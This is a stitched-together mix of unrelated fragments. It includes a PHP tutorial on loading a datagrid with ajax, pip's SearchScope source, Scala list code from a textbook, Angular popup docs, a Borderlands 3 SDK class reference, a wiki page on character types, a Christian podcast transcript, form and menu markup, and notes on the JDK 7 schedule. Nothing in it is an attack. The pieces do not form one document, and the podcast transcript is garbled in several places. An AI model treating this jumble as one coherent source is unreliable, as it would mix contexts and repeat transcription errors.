Imagine we need to fetch data from our database and show it in a datagrid. Let’s do the traditional way. I haven’t use any framework for this example. Just old school spaghetti code.
$dbh = new PDO('pgsql:dbname=mydb;host=localhost', 'gonzalo', 'password');
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $dbh->prepare('SELECT * FROM test.tbl1 limit 10');
$stmt->setFetchMode(PDO::FETCH_ASSOC);
$stmt->execute();
$data = $stmt->fetchAll();
$table = "";
$table.= "
";
foreach ($data as $ow) {
$table.= "
";
foreach ($ow as $item) {
$table.= "{$item}	";
}
$table.= "
";
}
$table.= "
";
?>
<!DOCTYPE html>

<meta charset="utf-8" />
<title>inline grid</title>

inline grid

<?php echo $table; ?>

And that’s all. The code works, and we’ve got or ugly datagrid with the data from our DB. Where’s the problem? If our “SELECT” statement is fast enougth and our connection to the database is good too, the page load will be good, indeed. But what happens if or query is slow (or we even have more than one)? The whole page load will be penalized due to our slow query. The user won’t see anything until our server finish with all the work. That means bad user experience. The alternative is load the page first (without populated datagrid, of course) and when it’s ready, we load with ajax the data from the server (JSON) and we populate the datagrid with javaScript.
Page without the populated datagrid:
<!DOCTYPE html>

<meta charset="utf-8" />
<title>grid ajax</title>

grid ajax

JSON data fron the server:
$dbh = new PDO('pgsql:dbname=mydb;host=localhost', 'gonzalo', 'password');
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $dbh->prepare('SELECT * FROM test.tbl1 limit 10');
$stmt->setFetchMode(PDO::FETCH_ASSOC);
$stmt->execute();
$data = $stmt->fetchAll();
header('Cache-Control: no-cache, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Content-type: application/json');
echo json_encode($data);
The outcome of this second technique is the same than the first one, but now user will see the page faster than the first technique and data will load later. Probably the total time to finish all the work is better in the classical approach, but the UX will be better with the second one. Here you can see the times taken from Chorme’s network window:
Even though the total time is better in the inline grid example: 156ms vs 248ms, 1 http request vs 3 HTTP request. The user will see the page (without data) faster with the grid data example.
What’s better. As always it depends on our needs. We need to balance and choose the one that fits with your requirements.
Probably the JavaScript code that I use to populate the datagrid in the second technique could be written in a more efficient way (there’s also plugins to do it). I only want to show the indirect way to create HTML to improve the user experience of our applications.


Contact Us
Payambaran Hospital
We are ready to respond to your comments, suggestions and questions.
You can create an account Provided in the hospital such as: Trial Answer, Take turns downloading PACS images online. You can create an account Provided in the hospital such as: Trial Answer, Take turns downloading PACS images online.


This is an example test used to show the minimal configuration
of the AutoCMS testing system.
The test runs a mockup of a scientific application called
'frobnicate.sh' which writes some random information to standard output,
runs for a variable amount of time, and sometimes fails or pretends
to segmentation fault.
To use AutoCMS with your own application with minimal scripting, simply
replace the 'frobnicate.sh' command in 'bare_test.slurm' with the setup
and execution of your own application.


( addr-line | city | country | fax | institution | institution-wrap | phone | postal-code | state | email | ext-link | uri )*
May Contain:


Registration Form
* required field
Username*
Email*
Password*
Confirm Password*
Country*
Select
Bangladesh
Australia
Russia
Pakistan
City*
Select
Dhaka
Canberra
Moscow
Islamabad
Address*
Mobile*
Gender*
Male
Female
Custom
I accept the terms & conditions


{% load static %}
Failed Registration
Registration failed!
Please go back to the
registration form
.


|
|
|
|
| Synopsis |
|
|
|
| Documentation |
|
| iter :: Integer |
| Number of rounds to execute
|
|
| prop_correct :: Bool -> Property |
| Property should always hold for good parameters.
|
|
| prop_incorrect :: Bool -> Property |
| Testing should fail on this property for some
percentage of tests.
|
|
| bitsEq :: (Rx, Tx) -> Bool |
| Did the receiver get the bits sent by the sender upon
synchronizing?
|
|
| assertFinal :: Bool -> ParamGen -> ((Rx, Tx) -> Bool) -> Property |
| Note: monadicIO (from QuickCheck) uses unsafeperformIO.
|
|
| type ParamGen = (Params -> PropertyM IO ()) -> PropertyM IO () |
|
| forallValidParams :: ParamGen |
| Generating correct params is too hard to do
procedurally, so we get close and then use a
predicate to make sure we're only testing correct ones.
|
|
| genParams :: Gen Params |
| Generate *almost* correct realtime parameters --- it's an
overapproximation. We need to test them to ensure
correctness.
|
|
| correctParams :: Params -> Bool |
| Constraints are satisfied. Reproduced for genParams.
|
|
| forallInvalidParams :: ParamGen |
|
| badGenParams :: Gen Params |
|
| incorrectParams :: Params -> Bool |
|
| Produced by Haddock version 2.4.2 |


import itertools import logging import os import posixpath from pip._vendor.packaging.utils import canonicalize_name from pip._vendor.six.moves.urllib import parse as urllib_parse from pip._internal.models.index import PyPI from pip._internal.utils.compat import has_tls from pip._internal.utils.misc import normalize_path, redact_auth_from_url from pip._internal.utils.typing import MYPY_CHECK_RUNNING if MYPY_CHECK_RUNNING: from typing import List logger = logging.getLogger(__name__) class SearchScope(object): """ Encapsulates the locations that pip is configured to search. """ @classmethod def create( cls, find_links, # type: List[str] index_urls, # type: List[str] ): # type: (...) -> SearchScope """ Create a SearchScope object after normalizing the `find_links`. """ # Build find_links. If an argument starts with ~, it may be # a local file relative to a home directory. So try normalizing # it and if it exists, use the normalized version. # This is deliberately conservative - it might be fine just to # blindly normalize anything starting with a ~... built_find_links = [] # type: List[str] for link in find_links: if link.startswith('~'): new_link = normalize_path(link) if os.path.exists(new_link): link = new_link built_find_links.append(link) # If we don't have TLS enabled, then WARN if anyplace we're looking # relies on TLS. if not has_tls(): for link in itertools.chain(index_urls, built_find_links): parsed = urllib_parse.urlparse(link) if parsed.scheme == 'https': logger.warning( 'pip is configured with locations that require ' 'TLS/SSL, however the ssl module in Python is not ' 'available.' ) break return cls( find_links=built_find_links, index_urls=index_urls, ) def __init__( self, find_links, # type: List[str] index_urls, # type: List[str] ): # type: (...) -> None self.find_links = find_links self.index_urls = index_urls def get_formatted_locations(self): # type: () -> str lines = [] if self.index_urls and self.index_urls != [PyPI.simple_url]: lines.append( 'Looking in indexes: {}'.format(', '.join( redact_auth_from_url(url) for url in self.index_urls)) ) if self.find_links: lines.append( 'Looking in links: {}'.format(', '.join( redact_auth_from_url(url) for url in self.find_links)) ) return '\n'.join(lines) def get_index_urls_locations(self, project_name): # type: (str) -> List[str] """Returns the locations found via self.index_urls Checks the url_name on the main (first in the list) index and use this url_name to produce all locations """ def mkurl_pypi_url(url): # type: (str) -> str loc = posixpath.join( url, urllib_parse.quote(canonicalize_name(project_name))) # For maximum compatibility with easy_install, ensure the path # ends in a trailing slash. Although this isn't in the spec # (and PyPI can handle it without the slash) some other index # implementations might break if they relied on easy_install's # behavior. if not loc.endswith('/'): loc = loc + '/' return loc return [mkurl_pypi_url(url) for url in self.index_urls]


A popup displays additional information on top of a page
An element can specify popup content to appear
You can use a template
element for a popup.
If you need to access a local variable, such as within an *ngFor
,
either place the template within the scope of the repeated elements, or bind
popupTemplateContext
to the variable and access it in the template
as popup.context
.
Adding the autofocus
attribute to an element
inside the template will give it focus when the popup opens.
You can control the placement (position) of each popup.
A popup can vary in size.
A popup can be extra wide to allow for longer content
A flowing
popup have no maximum width and continue to flow to fit its content
Manually triggering a popup is shown below:
Setting global defaults for popups can be done as shown below. These defaults get overwritten by inputs set on the popups themselves.


Character
In fictional film or literature, character types are used to help viewers to empathize with the story. A person's character typically refers to the qualities they possess. However, a character can also be an animal, object, or abstraction in a story. Objects are often represented through anthropomorphism, where human attributes are applied to a non-human. According to an explainer video about animated light for the movie, Akira, the city itself was considered to be a character. Other examples of non-human characters include Lightning McQueen from Cars (2006) and a homicidal car tire named Robert in the movie Rubber (2010).
Characterization
In the process of characterization, a writer will construct traits of a character according to how they will serve the story's plot requirements. Characters are often inspired by people from real life, but often become simplified, combined, and adapted as needed.
See tvtropes.org wiki for an expansive collection of characterization tropes.
Types (tropes) in fictional stories
Character types are often one or a combination of the following:
- Main character: We experience the story through this character's eyes.
- Supporting character: These characters help us understand the main character, advance the story.
- Protagonist character: The story typically follows this character most closely. They are needed to resolve the conflict and typically have heroic qualities.
- Antagonist character: Tries to prevent the story goal. Opposes the protagonist.
- Dynamic character: Shows development and change over time.
- Static character: Does not develop or change over time.
- Anti-hero character: Protagonist who lacks heroic qualities.
- Round character: Well developed, complex, sometimes contradictory traits.
- Flat character: Not well developed, static.
- Stock character: Archetypal, stereotypical, and flat.
- Foil character: Typically contrasts the main character in qualities and values so that we may learn more about the main character.
- Symbolic character: This character represents an abstract concept like "hope" or "justice."
Character profiling
Creating a character profile is helpful to describe the way in which a character connects with and supports the telling of a story.
- Importance to story
- What role does the character play?
- Characterization types
- Physical attributes
- Name, age, gender
- Markings, tattoos
- Abilities, disabilities
- Race/ethnicity
- Inner struggle and journey
- What motivates the character?
- What does the character want more than anything?
- What do they fear most?
- How do they hide their true selves from the world?
- What would they want to be remembered for?
- What do they learn by the end of the story?
- Personality
- Unique trait
- Strengths
- Weaknesses
- Critical flaw that impacts the story
- Behaviors and actions
- Back story that explains why they are this way
- Story interaction
- Internal conflicts
- External conflicts
- Meetings with other characters
- How are character flaws introduced into the story?


Sample run of chapter's interpreter examples
// In file list-impl/Misc.scala package scala abstract class List[+T] {
scala> val xs = List(1, 2, 3) xs: List[Int] = List(1, 2, 3) scala> var ys: List[Any] = xs ys: List[Any] = List(1, 2, 3)
// In file list-impl/Misc.scala def isEmpty: Boolean def head: T def tail: List[T]
// In file list-impl/Misc.scala case object Nil extends List[Nothing] { override def isEmpty = true def head: Nothing = throw new NoSuchElementException("head of empty list") def tail: List[Nothing] = throw new NoSuchElementException("tail of empty list") }
// In file list-impl/Misc.scala final case class ::[T](hd: T, tl: List[T]) extends List[T] { def head = hd def tail = tl override def isEmpty: Boolean = false }
// In file list-impl/Misc.scala final case class ::[T](head: T, tail: List[T]) extends List[T] { override def isEmpty: Boolean = false }
// In file list-impl/Misc.scala def length: Int = if (isEmpty) 0 else 1 + tail.length
// In file list-impl/Misc.scala def drop(n: Int): List[T] = if (isEmpty) Nil else if (n <= 0) this else tail.drop(n - 1)
// In file list-impl/Misc.scala def map[U](f: T => U): List[U] = if (isEmpty) Nil else f(head) :: tail.map(f)
abstract class Fruit class Apple extends Fruit class Orange extends Fruit
scala> val apples = new Apple :: Nil apples: List[Apple] = List(Apple@585fa9) scala> val fruits = new Orange :: apples fruits: List[Fruit] = List(Orange@cd6798, Apple@585fa9)
def ::[U >: T](x: U): List[U] = new scala.::(x, this)
// In file list-impl/Misc.scala def ::[U >: T](x: U): List[U] = new ::(x, this)
// A thought experiment (which wouldn't work) def ::(x: T): List[T] = new scala.::(x, this)
// In file list-impl/Misc.scala def :::[U >: T](prefix: List[U]): List[U] = if (prefix.isEmpty) this else prefix.head :: prefix.tail ::: this
prefix.head :: prefix.tail ::: this equals (because :: and ::: are right-associative) prefix.head :: (prefix.tail ::: this) equals (because :: binds to the right) (prefix.tail ::: this).::(prefix.head) equals (because ::: binds to the right) this.:::(prefix.tail).::(prefix.head)
// In file list-impl/Misc.scala def incAll(xs: List[Int]): List[Int] = xs match { case List() => List() case x :: xs1 => x + 1 :: incAll(xs1) }
for (x <- xs) // ??
// In file list-impl/Misc.scala var result = List[Int]() // a very inefficient approach for (x <- xs) result = result ::: List(x + 1) result
// In file list-impl/Misc.scala import scala.collection.mutable.ListBuffer
// In file list-impl/Misc.scala val buf = new ListBuffer[Int] for (x <- xs) buf += x + 1 buf.toList
final override def map[U](f: T => U): List[U] = { val b = new ListBuffer[U] var these = this while (!these.isEmpty) { b += f(these.head) these = these.tail } b.toList }
// In file list-impl/Misc.scala final case class ::[U](hd: U, private[scala] var tl: List[U]) extends List[U] { def head = hd def tail = tl override def isEmpty: Boolean = false }
// In file list-impl/Misc.scala package scala.collection.immutable final class ListBuffer[T] extends Buffer[T] { private var start: List[T] = Nil private var last0: ::[T] = _ private var exported: Boolean = false ...
// In file list-impl/Misc.scala override def toList: List[T] = { exported = !start.isEmpty start }
override def += (x: T) { if (exported) copy() if (start.isEmpty) { last0 = new scala.::(x, Nil) start = last0 } else { val last1 = last0 last0 = new scala.::(x, Nil) last1.tl = last0 } }
// In file list-impl/Misc.scala val ys = 1 :: xs val zs = 2 :: xs
ys.drop(2).tail = Nil // can't do this in Scala!
|
For more information about Programming in Scala, Second Edition (the "Stairway Book"), please visit: http://www.artima.com/shop/programming_in_scala_2ed and: |
Copyright © 2007-2010 Artima, Inc. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. |


Mrs Jones yes it's that time of the week it is indeed it's that time of the night we need a jingle.
It's coming I didn't you want to announce a jingle competition I did I want to have a jingle contest.
So we'll have people submit they're keeping up the Jones jingles wait our podcast called keeping up with the Jones is keeping up with the Jones is jingle and then we'll select one and what are they when if we select it.
I don't know. We could come up with something good though.
Okay. So guys, completely nebulous prize yet we describe.
We'll tell you the nebulous prize next week.
Okay.
We'll so start working on it now.
When do they have to submit their jingles by?
October 1st.
That's very precise for somebody who's done no planning.
Well, I just thought that's the first first that's after where we are right now.
Ok, October 1st, Jingle competition.
Our child wrote a whole song today in the car so they can write a jingle.
Let's talk about that.
Yes.
Abigail our 8-year-old was in the back of the car while you were driving along.
Yeah, and I was only driving from Blue Coast to Walmart so it was like a 5-minute drive
at the most.
And she pulls out her notepad and her pen.
And writes a song.
And she has a verse, one, and then she has a chorus.
Yeah, the chorus kind of happened in the way home from Walmart actually.
the but it's actually quite good.
It's really good.
Well, I wouldn't say it's really good.
I'd say it's quite good.
She's eight.
OK, so you're saying it's really good for an eight year old.
I think it's a really I couldn't write something like that in five minutes.
Are you kidding?
Yeah, it starts with straight out a Compton.
No, no, no, please.
I think it's plagiarism from hard living.
Anyway, welcome to episode 68 of keeping up with the Joneses.
Welcome.
It's very good to have you back last week.
You were sick.
I was, but Josh Parsons did a tremendous job of standing in.
Yeah, he was very good.
And Josh and Sarah currently enjoying the seaside.
Yeah, she shied.
She shiked.
It's going to be a long night.
Very strong conry of you.
This week we had Labor Day, which meant Monday, no M&A.
And we were off work.
We were.
It was fantastic.
It was good.
Good draw school.
Yep.
That felt really nice.
It's a great catch up with the kids.
And then Tuesday we had orientation for our new students.
So good.
From all over the country.
Really?
And all over the world, really?
Well, not all over the world.
Well, a couple of different places in the world.
OK, we've we've drastically shrunk that net.
Well, if we let me hear you wiggle out of this.
If we put a pin in England where one is from.
Yes.
And we put a pin in Australia and then a pin in Nashville.

Right. So that's how you are describing our catchment. Yeah. Yeah. We have students from a bunch of different states,
including one of my favorite California, Alabama, Mississippi, North Carolina. And as you say, a family from Australia
flew to come. And our friend Will arrived on Monday as well. And it was just awesome to see all the students, wasn't it?
It was so awesome. Great, great day. And tomorrow we kick off. So we're really, really excited about that.
And it's super fun as well to have the year two students there because there are students that you've
previously fallen in love with. You know, we've, I feel like we've fallen in love with every class and then you have to let them go.
Right.
And the fun part about year two is they're back, which is awesome.
The most important thing that happened this week was obviously Apple's announcement, which we did.
Clearly.
We did a great job of not. I turned off my phone, didn't watch Twitter, didn't read any RSS feeds,
and then at night, Wednesday, we came home, put the kids to bed, and then we just watched
the Apple keynote.
I looked at the website during the day.
I feel she'd done.
I'm sorry.
I feel filthy.
I didn't tell you what I saw.
No, but your face was just like...
But I couldn't wait.
Right.
Highlights for you?
The new phones.
Yep.
And the fact that they shoot upgraded video.
And there's a 128 now.
I was being a 128.
Oh, I've never had it.
Okay.
And what I think is funny is that whenever there's an Apple keynote on, we get text messages
from people saying, "Hey, can I buy your phones because I know you're upgrading?"
That's true.
People would say.
Which happened this year.
But I also liked the iPad Pro, except that it seems like it's huge.
I don't want it.
You just want the pencil part.
I want the pencil part because of illustrating the book.
Yes.
That's true i you have been using a pencil straight up for the whole thing yeah and it's been a frustrating experience with the pencil that i have.
Because it doesn't have a really fine tip so i'm guessing at where i'm hitting the iPad.
Oh we've done a great job even you're guessing thank you and we talked about a be writing a song.
Let's talk about m j r spiritual giant this is her two old ladies and gentlemen he's so cute he's very cute started last week.
Yeah. All of a sudden, when I started putting him to bed, he would say, "Daddy, you pray me tongues?"
Yeah. And so I would just start praying for him in tongues.
And he would just be enthralled. So every time I put him to bed at night, he now requests, "Daddy,
you pray me tongues." And I just pray in tongues over him, and it's glorious.
He was just up a few minutes ago, and I sang to him and then prayed in tongues.
but when I came in, he said, "I said to Jesus, 'My name is MJ,' and I was like, 'What?'
And then I was thinking, 'What is he talking about?'  So I'm not sure if he's had some sort
of visitation in his bedroom or... Well, he asked when I got bed at night that he prays,
and I asked him, 'What...' He wants a prayer for dreams. I said, 'What do you want to dream about?'
And it's always Jesus and cows right cows and Jesus cows and Jesus they go together
And then this morning at church in the passage prayer meeting what did MJ do? Oh, it was so cute
So Tony's like well, I think we should pray and MJ was in the room and he always he likes to pray so he gets excited
So I just said MJ you want to come over and pray and he said yeah
So he said am I not with it? Do you want to start?
And he like threw his head back and his arms back which is what he does anyway shut his eyes and he said
Jesus
more
Amen
Sure and sweet ladies and young good person
You know I was thinking this week about what we're gonna speak on the podcast tonight
And I've been thinking a lot and I must be because all the students are in town and they're about to start this eight-month
Adventure yes, and I was thinking about
Talking tonight about times and seasons. I don't know what we're gonna talk about regarding times and seasons
but that was the phrase that was referring through my head times and seasons.
Then we went to church this morning and Christu Prey, who was our guest speaker, was speaking
in part about times and seasons.
I thought, "Gosh, it's interesting."
So let's jump straight into there.
Let's talk about seasons of our life, good seasons, bad seasons.
What have we learned?
AJ Jones, over to you.
What have we learned?
Well, I think something was probably encouraging if you're in a difficult season is that they're
temporal.

And how does one partner with the season for being forever?
What are some of the signs that you're overdue for a season change?
I think when it feels like you're spinning your wheels and you're just having more and
more of the same experiences without there being any kind of resolution or result towards
the positive.
So, I think sometimes, you know, we'll meet with somebody for coffee that seems, it seems
to me in listening to their story that they're experiencing the same story over and over
again, but they're not arriving at the conclusion that they're the one thing that's similar
between all of those situations and maybe God's trying to get something through to them
so that he can move them on to the next thing.
And that's when you get to ask innocently, I wonder if there's a common denominator between
all the stories you're telling me.

Right.
Wait.
That's never a nice revelation to have, is it?
No.
I think, yeah, I think like in times in my life where I've partnered with either feeling
sorry for myself or probably mostly that feeling sorry for myself, it keeps you in a place
of partnering with being a victim and it seems like that cycle never ends until you start
to agree with God and, you know, stop thinking only about yourself.
Mm hmm.
Does that make sense?
It does make sense.
I was listening to Graham Cook the last week or so, and he is a fantastic
teaching called the art of thinking brilliantly, which I don't recommend
listening to while you're trying to run or walk because you'll have to stop
and take notes every couple of steps.
I gave up.
I can't listen to him at all when I'm walking or running because I just
I'm like, I'll never remember that.
So when we're talking about seasons of difficulty or negative seasons, which we're going to talk
about positive seasons in a second, I was challenged because he said this, what if frustration
has a heavenly counterpart? What if frustration is designed to keep you from walking into a situation
that God doesn't want you in? What if frustration is the precursor to favor? What if it's God's way
of telling you that an upgrade is available. Frustration is a confession that we are powerless,
and that's not heavenly thinking. The power of the heavenly minded is that our hearts
and minds are always focused on who God is for us. I'm just thinking, sometimes when
you're in seasons that don't seem to be moving on quite as quickly as you'd like, probably
a great question to be asking is, "God, do you have something for me in this season?
am I in a danger of missing it because I'm so desperate to move on to the next?
Right.
Because I've noticed that God's lessons have a way of following you.
Yeah.
And sometimes I've noticed in my own life, for example, I've tried to escape one season
only to find myself moving, perhaps geographically and finding the same thing God trying to teach
me in this new place.
I used to at the end of every year read through my journal from that year and kind of summarize
the major themes and just kind of review the year with the Lord, Lord, what, let's see
if I learned what you were trying to show me, what were some of the themes. And then I'd always ask
for like a clue or a prophetic word for the coming year, like Lord, what's going on in this
season, what are the things you have for me? Because in Ecclesiastes it says this, it says this,
a time for everything and a season for every activity under the heavens. So I'm always
asking the Lord, Lord, what season am I in? I remember meeting with a friend, somebody I
greatly respect. And we met for coffee and I paid for his coffee at the end. And he thought
me for it initially. He did the good British thing. I'll get this. No, no, I'll get this. And he
said to me, Oh, actually, no, I'm going to let you get this. And he said, God's got me in the season
of learning to receive. And I said, Oh, he said, yeah, I just I've been such a mindset of always
thinking I need to give that God's actually no, I'm taking you into the season. And I just thought,
gosh, that would be really weird to enter into a season of receiving without getting
your heads up on that.
And you were always giving away the very thing that God is trying to give you.
Does that make sense?
Yeah.
So yeah, I loved that Lord.
What season am I in to kind of help me understand and accelerate my partnership with God of
what he's trying to achieve?
I remember, again, this is a number of years ago, like 10 or 15 years ago, but at one
point, you know, I was reading the story of Joseph a lot and just really interested by
his incredible attitude, regardless of the circumstances or regardless of the season
that he was in, his focus remained on God. And, you know, otherwise he probably wouldn't
have had the results that he had. But I remember during that time saying, Lord, where am I
in the story of Joseph? Like, you know, am I still in the pit?
Am I pot of first household yet? Am I in a place where I can serve to the best of my abilities?
And even though it doesn't look like the level of freedom I'd like, well, I, you know, I could still experience favor
and you're still moving me forward. Are there things you want me to learn in this place that I can only learn here?
Um, this is going to help me in the next place that kind of stuff. And so for a number of years, the Lord, you know,
every once in a while would be like, "Hey, you're here in the story. Hey, you're here in the story."
And I remember in 2001, like at the beginning of 2001, when the Lord started speaking to me about
going into full-time ministry and all that kind of stuff, and I was like, "Oh, I don't know. I don't
know if I'm ready." And the Lord was showing me like, "You're at the stage where you're
interpreting the dreams. Like you're getting ready to be released into something." And
And it's just as important to partner with me now in this season and keeping a good attitude
while I open the door.
I guess it's just a funny way that God and I would mark the seasons over a number of
years through the story of Joseph.
I thought Chris DuPray did something very interesting as one as a sermon illustration.
I didn't know he was going to do this, but he asked me to stand up in front of the whole
church.
So I stood up in front of the whole church.
He said, you know, turn and face me.
So I was now sideways to the church.
And he said, put out your hand.
So I put out my hand, palm up.
And he put his palm next to my palm and kind of applied pressure.
And without thinking about it, I just applied pressure back and push back on him.
Like you're pushing against a wall.
Like I was pushing against his hand and he was pushing against mine.
Yeah.
And he said to me, why did you push my hand?
And I, you know, I would pause.
He said, I don't tell you to push my hand.
And he said, we're like that with God.
You know, God comes to bring something new and often the first thing we'll do is is produce resistance and I was like, oh my gosh, that's amazing.
It was great.
It was a really powerful illustration.
I'm not sure if it translates too well without you seeing it, but I was thinking about that verse that talks about, you know, we're being changed from glory to glory.
Often when God's moving us into a new season, either because of fear or stubbornness or we love the season, we're in so much.
we forget sight of the fact that he's bringing us from one level of glory to another.
I kind of am really envious, and am I allowed to say that in one sense, of the students,
you know, marking this new season of their life, their tomorrow begins eight months.
And I was just praying about that yesterday saying, Lord, I'm so excited for the students.
I'm so excited to be a part of watching this season of change coming for them.
Sometimes I think there's a danger that we think that seasons of change
are purely sovereign in nature.

Not realizing that we can step into a new season with God anytime we want.
Right.
Really powerful verse in James.
So James 4, "drawn ear to God, and he'll draw near you."
And either a long time ago that that means I can actually initiate
a new season of intimacy with God anytime I want, just by choosing to draw near.
gonna talk about something i don't really talk about.
Sure fasting.
Is it that you like talking about or you like doing it i don't like talking about it in case it somehow weeks got up and he's like yeah that's a great year when you fast.
But fasting brings an element of focus that helps you understand the season you're in like there would be times when the holy spirit would bring along.
a season of fasting i was hate that part of the because i love food.
But it was designed to help me focus you never fast for god's sake.
You know the reason you fast isn't to earn anything but really to focus and helps you see things you might not otherwise see because you're too busy stuffing your face with to read us.
Yeah, another thing i really liked that christie prays at this morning he was talking about second timothy.
Where is this be prepared in season and out of season correct review can encourage with great patience and careful instruction.
And he was like we all have been in season but there's also being out of season and he quipped being out of season is still a season right.
And I was like, oh, yeah.
Sometimes, like, we all love the season
that we feel like we're in where everything's going swimmingly
and let's just favor this, that, the next thing.
And then sometimes it feels like, oh, where is that?
You're like, wait, no, no, you still,
God's still teaching you something
no matter what season you think you're in.


|
BL3 SDK
0.0.1
Borderlands 3 Class Documentation
|
#include <BL3_GbxGameSystemCore_classes.hpp>
Public Member Functions | |
| void | SetUsableLocked (bool bLocked, const struct FName &Reason) |
| void | SetInteractionHeader (const struct FText &NewHeaderName) |
| void | ResetUseCount () |
| struct FText | K2_GetOptionalErrorText () |
| bool | K2_CanBeUsed (const struct FUsabilityQuery &Query) |
| void | GetValidPrimitiveComponentNames (TArray< struct FName > *ComponentNames) |
| struct FText | GetInteractionHeader () |
| Public Member Functions inherited from UActorComponent | |
| void | ToggleActive () |
| void | SetTickGroup (TEnumAsByte< ETickingGroup > NewTickGroup) |
| void | SetTickableWhenPaused (bool bTickableWhenPaused) |
| void | SetOwningSceneCapture (class USceneCaptureComponent *InOwningSceneCapture) |
| void | SetIsReplicated (bool ShouldReplicate) |
| void | SetComponentTickInterval (float TickInterval) |
| void | SetComponentTickEnabled (bool bEnabled) |
| void | SetAutoActivate (bool bNewAutoActivate) |
| void | SetActive (bool bNewActive, bool bReset) |
| void | RemoveTickPrerequisiteComponent (class UActorComponent *PrerequisiteComponent) |
| void | RemoveTickPrerequisiteActor (class AActor *PrerequisiteActor) |
| void | ReceiveTick (float DeltaSeconds) |
| void | ReceiveEndPlay (TEnumAsByte< EEndPlayReason > EndPlayReason) |
| void | ReceiveBeginPlay () |
| void | OnRep_IsActive () |
| void | MarkNetDirty () |
| void | K2_DestroyComponent (class UObject *Object) |
| bool | IsComponentTickEnabled () |
| bool | IsBeingDestroyed () |
| bool | IsActive () |
| class USceneCaptureComponent * | GetOwningSceneCapture () |
| class AActor * | GetOwner () |
| float | GetComponentTickInterval () |
| void | Deactivate () |
| bool | ComponentHasTag (const struct FName &Tag) |
| void | AddTickPrerequisiteComponent (class UActorComponent *PrerequisiteComponent) |
| void | AddTickPrerequisiteActor (class AActor *PrerequisiteActor) |
| void | Activate (bool bReset) |
| Public Member Functions inherited from UObject | |
| std::string | GetName () const |
| std::string | GetFullName () const |
| bool | IsA (UClass *cmp) const |
| void | ProcessEvent (class UFunction *function, void *parms) |
| void | ExecuteUbergraph (int EntryPoint) |
Static Public Member Functions | |
| static UClass * | StaticClass () |
| Static Public Member Functions inherited from UActorComponent | |
| static UClass * | StaticClass () |
| Static Public Member Functions inherited from UObject | |
| static FChunkedFixedUObjectArray & | GetGlobalObjects () |
| template<typename T > | |
| static T * | FindObject (const std::string &name) |
| static UClass * | FindClass (const std::string &name) |
| template<typename T > | |
| static T * | GetObjectCasted (std::size_t index) |
| static UClass * | StaticClass () |
Additional Inherited Members | |
| Static Public Attributes inherited from UObject | |
| static FUObjectArray * | GObjects |
| struct FText GetInteractionHeader | ( | ) |
| void GetValidPrimitiveComponentNames | ( | TArray< struct FName > * | ComponentNames | ) |
| bool K2_CanBeUsed | ( | const struct FUsabilityQuery & | Query | ) |
| struct FText K2_GetOptionalErrorText | ( | ) |
| void ResetUseCount | ( | ) |
| void SetInteractionHeader | ( | const struct FText & | NewHeaderName | ) |
| void SetUsableLocked | ( | bool | bLocked, |
| const struct FName & | Reason | ||
| ) |
|
inlinestatic |
| struct FUsableAngleRestriction AngleRestriction |
| unsigned char bCanBeUsedFromMech |
| unsigned char bCanBeUsedFromVehicle |
| unsigned char bCanOnlyBeUsedByOwner |
| unsigned char bDefaultIsBackupPrimaryData |
| bool bRequiresNetAuthority |
| bool bUseAngleRestriction |
| bool bUseEnabledCondition |
| bool bWantsMaxUseCount |
| int CurrentUseCount |
| class UGbxCondition* EnabledCondition |
| struct FText HeaderName |
| struct FHoldToUseSettings HoldToUseSettings |
| int MaxUseCount |
| struct FScriptMulticastDelegate OnLookedAt |
| struct FScriptMulticastDelegate OnLookedAwayFrom |
| struct FScriptMulticastDelegate OnUsed |
| struct FScriptMulticastDelegate OnUsedPrimary |
| struct FScriptMulticastDelegate OnUsedPrimaryHold |
| struct FScriptMulticastDelegate OnUsedSecondary |
| struct FScriptMulticastDelegate OnUsedSecondaryHold |
| struct FUseDefSelection PrimaryHoldUseDefSelection |
| struct FUseDefSelection PrimaryUseDefSelection |
| TArray<struct FName> RequiredComponentNames |
| struct FUseDefSelection SecondaryHoldUseDefSelection |
| struct FUseDefSelection SecondaryUseDefSelection |
| unsigned char UnknownData00[0x4] |
| unsigned char UnknownData01[0x7] |
| unsigned char UnknownData02[0x3] |
| unsigned char UnknownData03[0x3] |
| unsigned char UnknownData04[0x4] |
| unsigned char UnknownData05[0x3] |
| unsigned char UnknownData06[0x3] |
| unsigned char UnknownData07[0xA0] |
| unsigned char UnknownData08[0x28] |
| class UUsabilityDataSelection* UsabilityData |
| int UsablePriority |


Menu
home Home
import_contacts Articles
business About
contacts Contact
category Categories
backup Medias
date_range Tasks
https Login
person_add Register
edit_attributes Profile ( {{auth.currentUser.username}})
supervised_user_circle Administration
exit_to_app Logout
NGX Blog D-Lite


Welcome to Exercise Tracker Application! Exercise is very important to be healthy.You can post your exercise activities here and you can also share your activities with your friends.


This site post a lot of fashion and suitable job.
For more info please check the official github page
{{job.joverview}}


With this Import option, all your existing lists will be unchanged. All
imported lists will be added as new lists.
Only URLs containing these phrases will be highlighted by auto-highlight mode unless manually triggered, e.g. "example.com".
Only URLs that do not contain these phrases will be highlighted by auto-highlight mode unless manually triggered, e.g. "example.com".
Import to:
Export from:
Bulk Import
Bulk Import: Preview
Bulk Export


Re-thinking JDK 7, 2010/09/08
It's been clear for some time that the most recent JDK 7 development schedule is, to put it mildly, unrealistic. 笔记：Java 7 development schedule is unrealistic
We created that schedule over nine months ago, prior to the acquisition of Sun by Oracle. The post-acquisition integration process took longer than any of us anticipated, unfortunately, but we're now ready and able to focus on this release with a larger (and still growing) staff which will continue to work in the open alongside other contributors. 笔记：计划是9个月之前定的，实际的情形与原计划差异很大
So, whither JDK 7? 笔记：那么，Java 7将何去何从呢？
Our present best estimate is that we could complete, test, and stabilize the planned work in time for a release around the middle of 2012. 笔记：如果Java 7要完成全部的功能，现在是2010年，那么最乐观的估计是要到2012年才能实现。
